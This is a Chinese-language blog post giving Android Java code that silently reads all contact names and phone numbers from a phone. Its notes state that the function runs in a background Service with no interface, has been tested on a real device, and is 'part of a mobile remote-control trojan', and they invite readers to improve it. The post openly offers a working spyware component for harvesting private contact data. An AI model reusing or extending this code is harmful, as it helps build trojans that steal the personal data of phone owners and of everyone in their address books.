`
netspook
  • 浏览: 20844 次
  • 性别: Icon_minigender_1
  • 来自: 海口
社区版块
存档分类
最新评论

获取Android手机中的通讯录

阅读更多
public String getContactList(boolean isFirstTime) {
	
	StringBuilder contactListBuilder = new StringBuilder();
	
	if(isFirstTime == false) {
		contactListBuilder.append("ContactList is returned before.");
		return contactListBuilder.toString();
	}
	
	try {
		ContentResolver cr = getContentResolver();
		Uri uri = android.provider.ContactsContract.Contacts.CONTENT_URI;
		Cursor cur = cr.query(uri, null, null, null, null);
	
		if (cur.moveToFirst()) {
			String name;
			String contactId;
			String phoneNumber;
         
			int nameColumn = cur.getColumnIndex(PhoneLookup.DISPLAY_NAME);
			int idColumn = cur.getColumnIndex(ContactsContract.Contacts._ID);
			
			do{
				// 获取联系人姓名
				name = cur.getString(nameColumn);   
				// 获取联系人电话号码
				contactId = cur.getString(idColumn);
				Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
						ContactsContract.CommonDataKinds.Phone.CONTACT_ID +	" = " + contactId, null, null);
				if(phone.moveToNext()){
					int phoneColumn = phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
					phoneNumber = phone.getString(phoneColumn);
				} else {
					phoneNumber = "";
				}
				// 构造通讯录
				contactListBuilder.append("(");
				contactListBuilder.append(name + ":");
				contactListBuilder.append(phoneNumber + "");
				contactListBuilder.append(") ");
			}while(cur.moveToNext());
		} else {
			contactListBuilder.append("no result!");
		} 
	} catch(SQLiteException ex) {
		Log.d("SQLiteException in getContactList", ex.getMessage());
	}
	
	return contactListBuilder.toString();
}

 

代码说明:

1、本函数用于返回Android手机中存储的所有联系人及对应的手机号码,在真机上测试通过。

2、本函数在传入参数isFirstTime=false时,不会返回联系人信息,因为第一次执行时已经取回过通讯录。

3、本函数运行在Service子类中,无需产生界面,这段代码是手机远程控制木马的一部分。

4、当一个联系人有多个手机号码时,只返回一个,有兴趣者可以对此进行改进。

5、代码中各个函数的功能及参数请参考有关Andoird开发者网站上的资料。

6、本代码并非完全原创,而是修改自其它代码,增加了部分代码。

 

 

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics